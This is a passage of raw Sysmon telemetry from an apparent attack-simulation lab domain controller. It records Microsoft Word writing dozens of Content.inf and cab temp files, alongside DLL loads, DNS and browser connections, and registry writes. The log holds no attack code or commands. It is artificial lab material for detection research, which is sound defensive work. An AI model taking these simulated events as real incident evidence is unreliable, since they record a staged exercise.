Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.777{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD2.tmp\Content.infMD5=4DD225E2A305B50AF39084CE568B8110,SHA256=6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.775{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD3.tmp\content.infMD5=71CCB69AF8DD9821F463270FB8CBB285,SHA256=8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.775{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD1.tmp\Content.infMD5=63E8B0621B5DEFE1EF17F02EFBFC2436,SHA256=9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.771{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD0.tmp\Content.infMD5=923D406B2170497AD4832F0AD3403168,SHA256=EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.770{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD4.tmp\Content.infMD5=3D52060B74D7D448DC733FFE5B92CB52,SHA256=BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.770{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAD.tmp\Content.infMD5=F25AC64EC63FA98D9E37782E2E49D6E6,SHA256=834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.770{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CCE.tmp\Content.infMD5=69757AF3677EA8D80A2FBE44DEE7B9E4,SHA256=0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.770{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAC.tmp\Content.infMD5=4EC6724CBBA516CF202A6BD17226D02C,SHA256=18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.770{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CD5.tmp\Content.infMD5=52BD0762F3DC77334807DDFC60D5F304,SHA256=30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.767{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CC7.tmp\Content.infMD5=9B8D7EFE8A69E41CDC2439C38FE59FAF,SHA256=70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAB.tmp\Content.infMD5=D79B5DE6D93AC06005761D88783B3EE6,SHA256=96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CCD.tmp\Content.infMD5=6C489D45F3B56845E68BE07EA804C698,SHA256=3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CC4.tmp\Content.infMD5=C1B36A0547FB75445957A619201143AC,SHA256=4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CC3.tmp\Content.infMD5=A6B2731ECC78E7CED9ED5408AB4F2931,SHA256=6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CB0.tmp\Content.infMD5=8D9B02CC69FA40564E6C781A9CC9E626,SHA256=1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C88.tmp\Content.infMD5=C15EB3F4306EBF75D1E7C3C9382DEECC,SHA256=23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.766{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAA.tmp\Content.infMD5=E8B30D1070779CC14FBE93C8F5CF65BE,SHA256=2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.765{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CCA.tmp\Content.infMD5=149948E41627BE5DC454558E12AF2DA4,SHA256=1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.765{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CC2.tmp\Content.infMD5=4A9A2E8DB82C90608C96008A5B6160EF,SHA256=4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.765{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAF.tmp\Content.infMD5=9C00979164E78E3B890E56BE2DF00666,SHA256=21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.762{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B40.tmpMD5=62863124CDCDA135ECC0E722782CB888,SHA256=23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.760{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C87.tmp\Content.infMD5=877A8A960B2140E3A0A2752550959DB9,SHA256=FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.760{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C8A.tmp\Content.infMD5=93149E194021B37162FD86684ED22401,SHA256=50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.756{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C89.tmp\Content.infMD5=2F7A8FE4E5046175500AFFA228F99576,SHA256=1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.756{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CC1.tmp\Content.infMD5=1309D172F10DD53911779C89A06BBF65,SHA256=C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.755{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7B2D.tmpMD5=E033CCBC7BA787A2F824CE0952E57D44,SHA256=D250EB1F93B43EFB7654B831B4183C9CAEC2D12D4EFEE8607FEE70B9FAB20730,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.751{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7CAE.tmp\Content.infMD5=1A314B08BB9194A41E3794EF54017811,SHA256=9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.729{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C86.tmp\Content.infMD5=C3216C3FC73A4B3FFFE7ED67153AB7B5,SHA256=7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.724{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\TCD7C85.tmp\Content.infMD5=333BA58FCE326DEA1E4A9DE67475AA95,SHA256=66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.687{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\devrtl.dll10.0.14393.0 (rs1_release.160715-1616)Device Management Run Time LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationDEVRTL.DLLMD5=103D84E49F517098C0E8E14044BB1F73,SHA256=370BAADCA5D39C94A532D2E80EBA6CA537B47E41038A332412AEE4BBA5F025B9,IMPHASH=5DE6FAFA9C141BF53E629553C4AB42FBtrueMicrosoft WindowsValid 354300x800000000000000051038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.908{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59530-false142.250.186.35fra24s04-in-f3.1e100.net80http 354300x800000000000000051037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.889{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59529-false142.250.186.106fra24s06-in-f10.1e100.net443https 354300x800000000000000051036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.886{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54304- 734700x800000000000000051035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.648{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\BCP47Langs.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)BCP47 Language ClassesMicrosoft® Windows® Operating SystemMicrosoft CorporationBCP47Lang.dllMD5=F688C2B9DD2EB56C3B0312B6380338AA,SHA256=B22DB210486D3B5F4EEB17900C5E7AA0EEFEDBB068A0C4858EFE9F8018C34628,IMPHASH=31EA1856BC7597303D8126028BBFDFB8trueMicrosoft WindowsValid 734700x800000000000000051034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.644{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\Windows.Globalization.dll10.0.14393.4467 (rs1_release.210604-1844)Windows GlobalizationMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Globalization.dllMD5=4D2537567A93ABF1D93CB7A7E76F954C,SHA256=5740181B56927C0DC66A6BCECA15EA2806A0ED471A01F785AD47C8C73A1DF85F,IMPHASH=0280A5811869EFED56B453A140477D51trueMicrosoft WindowsValid 734700x800000000000000051033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.372{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\gpapi.dll10.0.14393.4467 (rs1_release.210604-1844)Group Policy Client APIMicrosoft® Windows® Operating SystemMicrosoft Corporationgpapi.dllMD5=96BBBC9AD606CF5EBAF525E3AB1C69A5,SHA256=32F0EA9185A6E1DE26E3276BAAB0FB5ED72940D34FE5FFDF5331D91E42794124,IMPHASH=54A7A105E11720BE50C587CF0CFA8828trueMicrosoft WindowsValid 23542300x800000000000000051032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=053F4337B7E415C54D7C4C6268F10E07,SHA256=20B046621FC32CF1B83AC9AAA6758013C8DB6DE7D9189C7F66B6C12535B16ACC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000051031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000051030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00327b57) 13241300x800000000000000051029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0xf13585cd) 13241300x800000000000000051028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a654-0x52f9edcd) 13241300x800000000000000051027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0xb4be55cd) 13241300x800000000000000051026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000051025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00327b57) 13241300x800000000000000051024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64b-0xf13585cd) 13241300x800000000000000051023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a654-0x52f9edcd) 13241300x800000000000000051022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:58:33.354{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65c-0xb4be55cd) 23542300x800000000000000051021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.301{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=551BA2D6AFF84062BB54F9240AC9453A,SHA256=BBCE3C40CC7F69A9942F5CBA043A2BF49F28BAC241CFB7FB53D68C030315815C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.062{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\IEAWSDC.DLL15.0.4420.0Microsoft Office componentMicrosoft Office Template and Media ControlMicrosoft Corporationieawsdc.dllMD5=CCB14AFAE0E5FD30FEC7A6A462A8A0E3,SHA256=5BCF5E64480611BFE91CE3D7A4719CC90DA07F392F2F3839E4C5D8356461255E,IMPHASH=1199B39B067DE26BFB495B833FC1AE5AtrueMicrosoft CorporationValid 734700x800000000000000051019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.062{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 354300x800000000000000051018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.323{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63953- 354300x800000000000000051017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.323{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local52990-false216.58.212.130ams15s21-in-f2.1e100.net443https 354300x800000000000000051016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.323{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60925- 354300x800000000000000051015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.320{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54131- 354300x800000000000000051014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.271{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55424- 354300x800000000000000051013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.270{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratorudptruefalse10.0.1.14win-dc-387.attackrange.local63197-false142.250.185.162fra16s51-in-f2.1e100.net443https 354300x800000000000000051012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.270{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58857- 354300x800000000000000051011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.268{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63196- 10341000x800000000000000051010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.975{7BD73061-728B-613B-500B-00000000F001}64441576C:\Program Files\Microsoft 